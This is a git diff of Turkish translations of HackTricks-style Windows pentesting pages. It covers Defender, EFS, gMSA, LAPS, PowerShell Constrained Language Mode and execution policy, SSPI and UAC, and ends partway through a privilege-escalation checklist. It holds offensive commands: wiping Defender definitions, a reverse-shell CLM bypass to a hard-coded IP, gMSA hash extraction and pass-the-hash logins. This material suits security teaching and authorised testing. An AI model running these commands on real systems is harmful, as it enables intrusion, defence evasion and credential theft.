sürümlerinde bulunan bir Antivirus'tür. `WinPEAS` gibi yaygın pentesting araçlarını **engeller**. Ancak bu korumaları **atlatmanın** yolları vardır. ### Check -Defender'ın **durumunu** kontrol etmek için PS cmdlet'i **`Get-MpComputerStatus`** çalıştırabilirsiniz (aktif olup olmadığını öğrenmek için **`RealTimeProtectionEnabled`** değerini kontrol edin): +Defender'ın **durumunu** kontrol etmek için PS cmdlet'i **`Get-MpComputerStatus`** çalıştırabilirsiniz (etkin olup olmadığını öğrenmek için **`RealTimeProtectionEnabled`** değerine bakın):
PS C:\> Get-MpComputerStatus
 
@@ -92,7 +93,7 @@ NISEngineVersion                : 0.0.0.0
 PSComputerName                  :
 
-Ayrıca bunu listelemek için şunu da çalıştırabilirsiniz: +Bunu enumerate etmek için ayrıca şunu da çalıştırabilirsiniz: ```bash WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List wmic /namespace:\\root\securitycenter2 path antivirusproduct @@ -101,55 +102,54 @@ sc query windefend #Delete all rules of Defender (useful for machines without internet access) "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All ``` -## Encrypted File System (EFS) +## Şifrelenmiş Dosya Sistemi (EFS) -EFS, dosyaları şifreleyerek korur ve bunun için **File Encryption Key (FEK)** olarak bilinen bir **simetrik anahtar** kullanır. Bu anahtar kullanıcının **public key**i ile şifrelenir ve şifreli dosyanın $EFS **alternative data stream** içinde saklanır. Dekriptaj gerektiğinde, ilgili kullanıcının dijital sertifikasının **private key**i FEK'i $EFS akışından deşifre etmek için kullanılır. More details can be found [here](https://en.wikipedia.org/wiki/Encrypting_File_System). +EFS, dosyaları şifreleyerek korur ve bunun için **symmetric key** olarak bilinen **File Encryption Key (FEK)**'i kullanır. Bu anahtar kullanıcıya ait **public key** ile şifrelenir ve şifrelenmiş dosyanın $EFS **alternative data stream**'inde saklanır. Deşifre gerektiğinde, kullanıcının dijital sertifikasının ilgili **private key**'i FEK'i $EFS akışından çözmek için kullanılır. Daha fazla detay için [here](https://en.wikipedia.org/wiki/Encrypting_File_System). -**Kullanıcının başlatması olmadan deşifre senaryoları** şunlardır: +**Kullanıcı başlatması olmadan deşifre senaryoları** şunlardır: -- Dosyalar veya klasörler non-EFS dosya sistemine, ör. [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), taşındığında otomatik olarak deşifre edilir. -- SMB/CIFS protokolü üzerinden ağda gönderilen şifreli dosyalar iletimden önce deşifre edilir. +- Dosyalar veya klasörler non-EFS bir dosya sistemine, örn. [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), taşındığında otomatik olarak deşifre edilir. +- SMB/CIFS protokolü üzerinden ağda gönderilen şifrelenmiş dosyalar iletimden önce deşifre edilir. -Bu şifreleme yöntemi, dosya sahibine şifreli dosyalara **şeffaf erişim** sağlar. Ancak sahibin parolasını değiştirip oturum açmak tek başına deşifreye izin vermez. +Bu şifreleme yöntemi sahibin şifrelenmiş dosyalara **transparent access** ile erişmesini sağlar. Ancak, sadece sahibin şifresini değiştirmek ve oturum açmak deşifreye izin vermez. -**Önemli Noktalar**: +**Temel Noktalar**: -- EFS, kullanıcının public key'i ile şifrelenmiş simetrik bir FEK kullanır. -- Dekriptaj, FEK'e erişmek için kullanıcının private key'ini kullanır. -- Otomatik deşifreleme, FAT32'ye kopyalama veya ağ iletimi gibi belirli koşullarda gerçekleşir. -- Şifreli dosyalara sahip tarafından ek adım gerektirmeden erişilebilir. +- EFS, kullanıcıya ait public key ile şifrelenmiş simetrik bir FEK kullanır. +- Deşifre, FEK'e erişmek için kullanıcının private key'ini kullanır. +- Otomatik deşifreleme belirli koşullarda gerçekleşir; örn. FAT32'ye kopyalama veya ağ üzerinden iletim. +- Şifrelenmiş dosyalar sahibine ek adımlar olmadan erişilebilir. -### Check EFS info +### EFS bilgilerini kontrol et -Bir **kullanıcının** bu **servisi** **kullanıp kullanmadığını** şu yolun varlığını kontrol ederek anlayabilirsiniz: `C:\users\\appdata\roaming\Microsoft\Protect` +Bir **kullanıcının** bu **servisi** kullanıp kullanmadığını kontrol etmek için şu yolun var olup olmadığını denetleyin: `C:\users\\appdata\roaming\Microsoft\Protect` -Dosyaya **kimin** **eriştiğini** görmek için `cipher /c \` komutunu kullanın. -Ayrıca bir klasör içinde `cipher /e` ve `cipher /d` komutlarını kullanarak tüm dosyaları **şifreleyebilir** ve **deşifre edebilirsiniz**. +Bir dosyaya **kimin** **eriştiğini** kontrol etmek için cipher /c \ komutunu kullanın. Ayrıca bir klasör içinde `cipher /e` ve `cipher /d` komutlarını kullanarak tüm dosyaları **şifreleyebilir** ve **deşifre edebilirsiniz**. -### Decrypting EFS files +### EFS dosyalarının deşifre edilmesi -#### Authority System Olmak +#### SYSTEM yetkisine sahip olmak -Bu yöntem, kurban kullanıcının host üzerinde bir process çalıştırıyor olmasını gerektirir. Eğer durum buysa, bir `meterpreter` oturumu kullanarak kullanıcının process token'ını taklit edebilirsiniz (`impersonate_token` from `incognito`). Ya da doğrudan kullanıcının process'ine `migrate` edebilirsiniz. +Bu yöntem, **kurban kullanıcının** host içinde bir **process** çalıştırıyor olmasını gerektirir. Eğer durum buysa, bir `meterpreter` session'ı kullanarak kullanıcının process token'ını taklit edebilirsiniz (`impersonate_token` from `incognito`). Ya da kullanıcı process'ine `migrate` edebilirsiniz. -#### Kullanıcının parolasını bilmek +#### Kullanıcı şifresini bilmek {{#ref}} https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files {{#endref}} -## Group Managed Service Accounts (gMSA) +## Grup Yönetilen Servis Hesapları (gMSA) -Microsoft, IT altyapılarında service account yönetimini basitleştirmek için **Group Managed Service Accounts (gMSA)** geliştirdi. Genellikle "**Password never expire**" ayarı etkin olan geleneksel service account'lardan farklı olarak, gMSA'lar daha güvenli ve yönetilebilir bir çözüm sunar: +Microsoft, IT altyapılarında servis hesaplarının yönetimini basitleştirmek için **Group Managed Service Accounts (gMSA)**'leri geliştirdi. Genellikle "**Password never expire**" ayarı etkin olan geleneksel servis hesaplarının aksine, gMSA'lar daha güvenli ve yönetilebilir bir çözüm sunar: -- **Otomatik Parola Yönetimi**: gMSA'lar, alan (domain) veya bilgisayar politikasına göre otomatik değişen karmaşık, 240 karakterlik bir parola kullanır. Bu süreç Microsoft'un Key Distribution Service (KDC) tarafından yönetilir ve manuel parola güncellemelerine gerek bırakmaz. -- **Artırılmış Güvenlik**: Bu hesaplar kilitlenmeye karşı dayanıklıdır ve interactive logins için kullanılamaz, bu da güvenliği artırır. -- **Çoklu Host Desteği**: gMSA'lar birden fazla host arasında paylaşılabilir, bu da onları birden çok sunucuda çalışan servisler için ideal kılar. -- **Scheduled Task Desteği**: Managed service accounts'un aksine, gMSA'lar scheduled task çalıştırmayı destekler. -- **Basitleştirilmiş SPN Yönetimi**: Bilgisayarın sAMaccount bilgileri veya DNS adı değiştiğinde sistem Service Principal Name (SPN)'i otomatik günceller ve böylece SPN yönetimini basitleştirir. +- **Otomatik Parola Yönetimi**: gMSA'lar, alan veya bilgisayar politikasına göre otomatik değişen, 240 karakter uzunluğunda karmaşık bir parola kullanır. Bu işlem Microsoft'un Key Distribution Service (KDC) tarafından yönetilir ve manuel parola güncellemeleri ihtiyacını ortadan kaldırır. +- **Geliştirilmiş Güvenlik**: Bu hesaplar kilitlenmelere karşı bağışıktır ve etkileşimli oturum açma için kullanılamaz, bu da güvenliği artırır. +- **Çoklu Host Desteği**: gMSA'lar birden fazla host arasında paylaşılabilir, bu da çoklu sunucuda çalışan servisler için idealdir. +- **Zamanlanmış Görev Desteği**: Yönetilen servis hesaplarının aksine, gMSA'lar zamanlanmış görevlerin çalıştırılmasını destekler. +- **Basitleştirilmiş SPN Yönetimi**: Bilgisayarın sAMaccount detayları veya DNS adı değiştiğinde sistem otomatik olarak Service Principal Name (SPN)'i günceller, böylece SPN yönetimi basitleşir. -gMSA'ların parolaları LDAP özelliği _**msDS-ManagedPassword**_'de saklanır ve Domain Controller'lar (DC'ler) tarafından her 30 günde otomatik olarak sıfırlanır. Bu parola, [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e) olarak bilinen şifrelenmiş bir veri blob'udur ve yalnızca yetkili yöneticiler ile gMSA'ların kurulu olduğu sunucular tarafından erişilebilir; bu da güvenli bir ortam sağlar. Bu bilgiye erişmek için LDAPS gibi güvenli bir bağlantı gereklidir veya bağlantının 'Sealing & Secure' ile doğrulanmış olması gerekir. +gMSA parolaları LDAP özelliği _**msDS-ManagedPassword**_ içinde saklanır ve Domain Controllers (DC'ler) tarafından her 30 günde bir otomatik olarak sıfırlanır. Bu parola, [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e) olarak bilinen şifrelenmiş bir veri blob'udur ve yalnızca yetkili yöneticiler ve gMSA'ların yüklü olduğu sunucular tarafından alınabilir; bu da güvenli bir ortam sağlar. Bu bilgiye erişmek için LDAPS gibi güvenli bir bağlantı gereklidir veya bağlantı 'Sealing & Secure' ile doğrulanmış olmalıdır. ![https://cube0x0.github.io/Relaying-for-gMSA/](../../images/asd1.png) @@ -159,46 +159,46 @@ Bu parolayı [**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordR ``` [**Find more info in this post**](https://cube0x0.github.io/Relaying-for-gMSA/) -Ayrıca, bu [web page](https://cube0x0.github.io/Relaying-for-gMSA/) sayfasına bakın; **NTLM relay attack** ile **gMSA**'nin **password**'unu **read** etme hakkında bilgi veriyor. +Also, check this [web page](https://cube0x0.github.io/Relaying-for-gMSA/) about how to perform a **NTLM relay attack** to **read** the **password** of **gMSA**. -### Abusing ACL chaining to read gMSA managed password (GenericAll -> ReadGMSAPassword) +### ACL zincirlemesini suistimal ederek gMSA yönetilen şifresini okumak (GenericAll -> ReadGMSAPassword) -Birçok ortamda, düşük ayrıcalıklı kullanıcılar, hatalı yapılandırılmış nesne ACL'lerini suistimal ederek DC'yi ele geçirmeden gMSA sırlarına erişebilirler: +Birçok ortamda, düşük ayrıcalikli kullanıcılar yanlış yapılandırılmış nesne ACLs'lerini suistimal ederek DC'yi ele geçirmeye gerek kalmadan gMSA sırlarına erişebilirler: -- Kontrol edebildiğiniz bir grup (ör. GenericAll/GenericWrite ile) gMSA üzerinde `ReadGMSAPassword` hakkı verilmiş olabilir. -- Kendinizi o gruba ekleyerek, LDAP üzerinden gMSA’nin `msDS-ManagedPassword` blob'unu okuma hakkını devralırsınız ve kullanılabilir NTLM kimlik bilgileri türetebilirsiniz. +- Kontrol edebileceğiniz bir grup (örn. GenericAll/GenericWrite aracılığıyla) bir gMSA üzerinde `ReadGMSAPassword` yetkisi ile yetkilendirilir. +- Kendinizi o gruba ekleyerek, LDAP üzerinden gMSA'nın `msDS-ManagedPassword` blob'unu okuma hakkını devralırsınız ve kullanılabilir NTLM kimlik bilgilerini türetebilirsiniz. Tipik iş akışı: -1) BloodHound ile yolu keşfedin ve foothold principals'lerinizi Owned olarak işaretleyin. Şu tür kenarlara bakın: +1) BloodHound ile yolu keşfedin ve foothold principal'lerinizi Owned olarak işaretleyin. Aşağıdaki gibi kenarları arayın: - GroupA GenericAll -> GroupB; GroupB ReadGMSAPassword -> gMSA 2) Kontrol ettiğiniz ara gruba kendinizi ekleyin (bloodyAD ile örnek): ```bash bloodyAD --host -d -u -p add groupMember ``` -3) LDAP üzerinden gMSA yönetilen parolasını okuyun ve NTLM hash'ini türetin. NetExec, `msDS-ManagedPassword`'in çıkarılmasını ve NTLM'ye dönüştürülmesini otomatikleştirir: +3) LDAP üzerinden gMSA yönetilen parolayı okuyun ve NTLM hash'ini türetin. NetExec, `msDS-ManagedPassword`'in çıkarılmasını ve NTLM'ye dönüştürülmesini otomatikleştirir: ```bash # Shows PrincipalsAllowedToReadPassword and computes NTLM automatically netexec ldap -u -p --gmsa # Account: mgtsvc$ NTLM: edac7f05cded0b410232b7466ec47d6f ``` -4) NTLM hash kullanarak gMSA olarak kimlik doğrulayın (düz metin gerekmez). Hesap Remote Management Users içindeyse, WinRM doğrudan çalışacaktır: +4) NTLM hash kullanarak gMSA olarak kimlik doğrulayın (plaintext gerekmez). Hesap Remote Management Users içindeyse, WinRM doğrudan çalışacaktır: ```bash # SMB / WinRM as the gMSA using the NT hash netexec smb -u 'mgtsvc$' -H netexec winrm -u 'mgtsvc$' -H ``` -Notes: -- LDAP okumaları `msDS-ManagedPassword` için sealing (ör. LDAPS/sign+seal) gerektirir. Araçlar bunu otomatik olarak halleder. -- gMSA'lara genellikle WinRM gibi yerel haklar verilir; yatay hareketi planlamak için grup üyeliğini (ör. Remote Management Users) doğrulayın. -- Sadece NTLM'i kendiniz hesaplamak için blob'a ihtiyacınız varsa, MSDS-MANAGEDPASSWORD_BLOB yapısına bakın. +Notlar: +- `msDS-ManagedPassword` için LDAP okumaları sealing gerektirir (ör. LDAPS/sign+seal). Araçlar bunu otomatik olarak halleder. +- gMSAs genellikle WinRM gibi yerel haklara sahiptir; lateral movement'ı planlamak için grup üyeliğini doğrulayın (ör. Remote Management Users). +- Eğer NTLM'i kendiniz hesaplamak için yalnızca blob'a ihtiyacınız varsa, MSDS-MANAGEDPASSWORD_BLOB yapısına bakın. ## LAPS -The **Local Administrator Password Solution (LAPS)**, available for download from [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), yerel Administrator parolalarının yönetilmesini sağlar. Bu parolalar **rastgele oluşturulur**, benzersizdir ve **düzenli olarak değiştirilir**, merkezi olarak Active Directory'de saklanır. Bu parolalara erişim ACL'lerle yetkilendirilmiş kullanıcılara sınırlandırılmıştır. Yeterli izin verildiğinde, yerel admin parolalarını okuma imkanı elde edilir. +The **Local Administrator Password Solution (LAPS)**, available for download from [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), yerel Administrator parolalarının yönetimini sağlar. Bu parolalar **rastgele oluşturulmuş**, benzersiz ve **düzenli olarak değiştirilir**; Active Directory'de merkezi olarak saklanır. Bu parolalara erişim, yetkili kullanıcılara yönelik ACL'lerle kısıtlanmıştır. Yeterli izin verildiğinde yerel admin parolalarını okuma imkânı sağlanır. {{#ref}} @@ -207,7 +207,7 @@ The **Local Administrator Password Solution (LAPS)**, available for download fro ## PS Constrained Language Mode -PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) PowerShell'i etkili kullanmak için gerekli birçok özelliği **kısıtlar**, örneğin COM objelerini engelleme, yalnızca onaylı .NET tiplerine izin verme, XAML tabanlı iş akışları, PowerShell sınıfları ve daha fazlası. +PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **PowerShell'i etkin şekilde kullanmak için gereken birçok özelliği kısıtlar**, örneğin COM objects'in engellenmesi, yalnızca onaylı .NET types'a izin verilmesi, XAML-based workflows, PowerShell classes ve daha fazlası. ### **Kontrol** ```bash @@ -219,8 +219,8 @@ $ExecutionContext.SessionState.LanguageMode #Easy bypass Powershell -version 2 ``` -Güncel Windows sürümlerinde bu bypass çalışmayabilir ancak [ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM) kullanabilirsiniz.\ -**Derlemek için muhtemelen** **şunu yapmanız gerekecek:** _**Add a Reference**_ -> _Browse_ -> _Browse_ -> `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` ekleyin ve **projeyi .Net4.5'e değiştirin**. +Güncel Windows sürümlerinde bu Bypass çalışmayabilir ama[ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\ +**Derlemek için gerekebilir:** _**Referans Ekle**_ -> _Gözat_ -> _Gözat_ -> add `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` ve **projeyi .Net4.5 olarak değiştirin**. #### Doğrudan bypass: ```bash @@ -230,11 +230,11 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogTo ```bash C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe ``` -[**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) veya [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) kullanarak herhangi bir süreçte **Powershell** kodunu çalıştırabilir ve constrained mode'u bypass edebilirsiniz. Daha fazla bilgi için bakınız: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode). +[**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) veya [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) kullanarak herhangi bir işlemde **execute Powershell** code çalıştırabilir ve constrained mode'u atlayabilirsiniz. Daha fazla bilgi için bakınız: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode). -## PS Yürütme Politikası +## PS Çalıştırma Politikası -Varsayılan olarak **restricted.** olarak ayarlanmıştır. Bu politikayı atlamanın başlıca yolları: +Varsayılan olarak **restricted.** olarak ayarlanmıştır. Bu politikayı atlatmanın başlıca yolları: ```bash 1º Just copy and paste inside the interactive PS console 2º Read en Exec @@ -254,19 +254,19 @@ Powershell -command "Write-Host 'My voice is my passport, verify me.'" 9º Use EncodeCommand $command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand ``` -Daha fazlası [here](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/) +Daha fazlası için [here](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/) ## Security Support Provider Interface (SSPI) -Kullanıcıları kimlik doğrulamak için kullanılabilen bir API'dir. +Kullanıcıları kimlik doğrulamak için kullanılabilecek bir API'dir. -SSPI, iletişim kurmak isteyen iki makine için uygun protokolü bulmaktan sorumludur. Bunun tercih edilen yöntemi Kerberos'tur. Daha sonra SSPI hangi kimlik doğrulama protokolünün kullanılacağını müzakere edecektir; bu kimlik doğrulama protokollerine Security Support Provider (SSP) denir, her Windows makinesinin içinde DLL biçiminde bulunurlar ve iki makinenin iletişim kurabilmesi için aynı SSP'yi desteklemeleri gerekir. +SSPI, iletişim kurmak isteyen iki makine için uygun protokolü belirlemekten sorumludur. Bunun tercih edilen yöntemi Kerberos'tur. SSPI daha sonra hangi kimlik doğrulama protokolünün kullanılacağını müzakere eder; bu kimlik doğrulama protokollerine Security Support Provider (SSP) denir, her Windows makinesinin içinde bir DLL şeklinde bulunurlar ve iletişim kurabilmek için her iki makinenin de aynı SSP'yi desteklemesi gerekir. ### Ana SSP'ler - **Kerberos**: Tercih edilen - %windir%\Windows\System32\kerberos.dll -- **NTLMv1** ve **NTLMv2**: Uyumluluk nedenleriyle +- **NTLMv1** and **NTLMv2**: Uyumluluk nedenleriyle - %windir%\Windows\System32\msv1_0.dll - **Digest**: Web sunucuları ve LDAP için, parola MD5 hash biçimindedir - %windir%\Windows\System32\Wdigest.dll @@ -275,11 +275,11 @@ SSPI, iletişim kurmak isteyen iki makine için uygun protokolü bulmaktan sorum - **Negotiate**: Kullanılacak protokolü müzakere etmek için kullanılır (Kerberos veya NTLM; varsayılan Kerberos'tur) - %windir%\Windows\System32\lsasrv.dll -#### Müzakerede birkaç yöntem veya yalnızca bir yöntem sunulabilir. +#### Müzakere birden fazla yöntem veya yalnızca bir yöntem sunabilir. ## UAC - User Account Control -[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) yönetici ayrıcalığı gerektiren eylemler için bir **onay istemi** sağlayan bir özelliktir. +[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) yönetici yetkisi gerektiren işlemler için bir **onay istemi** sağlayan bir özelliktir. {{#ref}} diff --git a/src/windows-hardening/checklist-windows-privilege-escalation.md b/src/windows-hardening/checklist-windows-privilege-escalation.md index e85379c12..17338a5e5 100644 --- a/src/windows-hardening/checklist-windows-privilege-escalation.md +++ b/src/windows-hardening/checklist-windows-privilege-escalation.md @@ -2,107 +2,107 @@ {{#include ../banners/hacktricks-training.md}} -### **Best tool to look for Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +### **Windows local privilege escalation vektörlerini araştırmak için en iyi araç:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) ### [System Info](windows-local-privilege-escalation/index.html#system-info) -- [ ] Elde edin [**System information**](windows-local-privilege-escalation/index.html#system-info) -- [ ] Ara **kernel** [**exploits using scripts**](windows-local-privilege-escalation/index.html#version-exploits) -- [ ] **Google to search** ile kernel **exploits** için ara -- [ ] **searchsploit to search** ile kernel **exploits** için ara -- [ ] [**env vars**](windows-local-privilege-escalation/index.html#environment) içinde ilginç bilgi var mı? +- [ ] [**System information**](windows-local-privilege-escalation/index.html#system-info) elde et +- [ ] **kernel** için [**exploits using scripts**](windows-local-privilege-escalation/index.html#version-exploits) ara +- [ ] Google'ı kullanarak kernel **exploits** ara +- [ ] searchsploit kullanarak kernel **exploits** ara +- [ ] [**env vars**](windows-local-privilege-escalation/index.html#environment) içinde ilginç bilgiler var mı? - [ ] [**PowerShell history**](windows-local-privilege-escalation/index.html#powershell-history) içinde parolalar var mı? -- [ ] [**Internet settings**](windows-local-privilege-escalation/index.html#internet-settings) içinde ilginç bilgi var mı? -- [ ] [**Drives**](windows-local-privilege-escalation/index.html#drives)? -- [ ] [**WSUS exploit**](windows-local-privilege-escalation/index.html#wsus)? -- [ ] [**Third-party agent auto-updaters / IPC abuse**](windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md) -- [ ] [**AlwaysInstallElevated**](windows-local-privilege-escalation/index.html#alwaysinstallelevated)? +- [ ] [**Internet settings**](windows-local-privilege-escalation/index.html#internet-settings) içinde ilginç bilgiler var mı? +- [ ] [**Drives**](windows-local-privilege-escalation/index.html#drives) var mı? +- [ ] [**WSUS exploit**](windows-local-privilege-escalation/index.html#wsus) var mı? +- [ ] [**Third-party agent auto-updaters / IPC abuse**](windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md) kontrol et +- [ ] [**AlwaysInstallElevated**](windows-local-privilege-escalation/index.html#alwaysinstallelevated) etkin mi? ### [Logging/AV enumeration](windows-local-privilege-escalation/index.html#enumeration) -- [ ] Kontrol edin [**Audit** ](windows-local-privilege-escalation/index.html#audit-settings) ve [**WEF** ](windows-local-privilege-escalation/index.html#wef) ayarlarını -- [ ] Kontrol edin [**LAPS**](windows-local-privilege-escalation/index.html#laps) -- [ ] [**WDigest** ](windows-local-privilege-escalation/index.html#wdigest) aktif mi kontrol edin -- [ ] [**LSA Protection**](windows-local-privilege-escalation/index.html#lsa-protection)? -- [ ] [**Credentials Guard**](windows-local-privilege-escalation/index.html#credentials-guard)[?](windows-local-privilege-escalation/index.html#cached-credentials) -- [ ] [**Cached Credentials**](windows-local-privilege-escalation/index.html#cached-credentials)? -- [ ] Herhangi bir [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md) kontrol edin -- [ ] [**AppLocker Policy**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/README.md#applocker-policy)? -- [ ] [**UAC**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control/README.md) kontrol edin -- [ ] [**User Privileges**](windows-local-privilege-escalation/index.html#users-and-groups) -- [ ] Mevcut kullanıcı [**privileges**](windows-local-privilege-escalation/index.html#users-and-groups) kontrol edin -- [ ] Herhangi bir [**member of any privileged group**](windows-local-privilege-escalation/index.html#privileged-groups) misiniz? -- [ ] Aşağıdaki token'lara sahip misiniz kontrol edin (enabled): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ? -- [ ] [**Users Sessions**](windows-local-privilege-escalation/index.html#logged-users-sessions)? -- [ ] [**users homes**](windows-local-privilege-escalation/index.html#home-folders) kontrol edin (erişim?) -- [ ] [**Password Policy**](windows-local-privilege-escalation/index.html#password-policy) kontrol edin -- [ ] [**inside the Clipboard**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard) içinde ne var? +- [ ] [**Audit**](windows-local-privilege-escalation/index.html#audit-settings) ve [**WEF**](windows-local-privilege-escalation/index.html#wef) ayarlarını kontrol et +- [ ] [**LAPS**](windows-local-privilege-escalation/index.html#laps) kontrol et +- [ ] [**WDigest**](windows-local-privilege-escalation/index.html#wdigest) aktif mi? +- [ ] [**LSA Protection**](windows-local-privilege-escalation/index.html#lsa-protection) etkin mi? +- [ ] [**Credentials Guard**](windows-local-privilege-escalation/index.html#credentials-guard)[?](windows-local-privilege-escalation/index.html#cached-credentials) etkin mi? +- [ ] [**Cached Credentials**](windows-local-privilege-escalation/index.html#cached-credentials) var mı? +- [ ] Herhangi bir [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md) var mı? +- [ ] [**AppLocker Policy**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/README.md#applocker-policy) kontrol et +- [ ] [**UAC**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control/README.md) kontrol et +- [ ] [**User Privileges**](windows-local-privilege-escalation/index.html#users-and-groups) kontrol et +- [ ] [**current** user **privileges**](windows-local-privilege-escalation/index.html#users-and-groups) kontrol et +- [ ] [**member of any privileged group**](windows-local-privilege-escalation/index.html#privileged-groups) üyesi misiniz? +- [ ] [any of these tokens enabled](windows-local-privilege-escalation/index.html#token-manipulation) var mı: **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ? +- [ ] [**Users Sessions**](windows-local-privilege-escalation/index.html#logged-users-sessions) var mı? +- [ ] [ **users homes**](windows-local-privilege-escalation/index.html#home-folders) kontrol et (erişim?) +- [ ] [**Password Policy**](windows-local-privilege-escalation/index.html#password-policy) kontrol et +- [ ] Panodaki içerik nedir: [**inside the Clipboard**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard)? ### [Network](windows-local-privilege-escalation/index.html#network) -- [ ] Mevcut [**network information**](windows-local-privilege-escalation/index.html#network) kontrol edin -- [ ] Dışa kapalı gizli local servisleri kontrol edin +- [ ] **current** [**network** **information**](windows-local-privilege-escalation/index.html#network) kontrol et +- [ ] Dışarıya kapalı gizli local servisleri kontrol et ### [Running Processes](windows-local-privilege-escalation/index.html#running-processes) -- [ ] Process binary'lerinin [**file and folders permissions**](windows-local-privilege-escalation/index.html#file-and-folder-permissions) izinlerini kontrol edin -- [ ] [**Memory Password mining**](windows-local-privilege-escalation/index.html#memory-password-mining) -- [ ] [**Insecure GUI apps**](windows-local-privilege-escalation/index.html#insecure-gui-apps) -- [ ] İlginç process'lerle **ProcDump.exe** kullanarak kimlik bilgilerini çalın? (firefox, chrome, vb.) +- [ ] Process binary'lerinin [**file and folders permissions**](windows-local-privilege-escalation/index.html#file-and-folder-permissions) kontrol et +- [ ] [**Memory Password mining**](windows-local-privilege-escalation/index.html#memory-password-mining) kontrol et +- [ ] [**Insecure GUI apps**](windows-local-privilege-escalation/index.html#insecure-gui-apps) kontrol et +- [ ] `ProcDump.exe` ile **interesting processes** üzerinden kimlik bilgisi çalın? (firefox, chrome, vb ...) ### [Services](windows-local-privilege-escalation/index.html#services) -- [ ] Herhangi bir service'yi **değiştirebilir** misiniz? (modify) (permissions) [Can you **modify any service**?](windows-local-privilege-escalation/index.html#permissions) -- [ ] Herhangi bir service tarafından **çalıştırılan binary'yi** **değiştirebilir** misiniz? [Can you **modify** the **binary** that is **executed** by any **service**?](windows-local-privilege-escalation/index.html#modify-service-binary-path) -- [ ] Herhangi bir service'in **registry**'sini **değiştirebilir** misiniz? [Can you **modify** the **registry** of any **service**?](windows-local-privilege-escalation/index.html#services-registry-modify-permissions) -- [ ] Herhangi bir **unquoted service** binary **path**'inden yararlanabilir misiniz? [Can you take advantage of any **unquoted service** binary **path**?](windows-local-privilege-escalation/index.html#unquoted-service-paths) +- [ ] [Can you **modify any service**?](windows-local-privilege-escalation/index.html#permissions) kontrol et +- [ ] [Can you **modify** the **binary** that is **executed** by any **service**?](windows-local-privilege-escalation/index.html#modify-service-binary-path) kontrol et +- [ ] [Can you **modify** the **registry** of any **service**?](windows-local-privilege-escalation/index.html#services-registry-modify-permissions) kontrol et +- [ ] [Can you take advantage of any **unquoted service** binary **path**?](windows-local-privilege-escalation/index.html#unquoted-service-paths) yararlanılabilir mi? ### 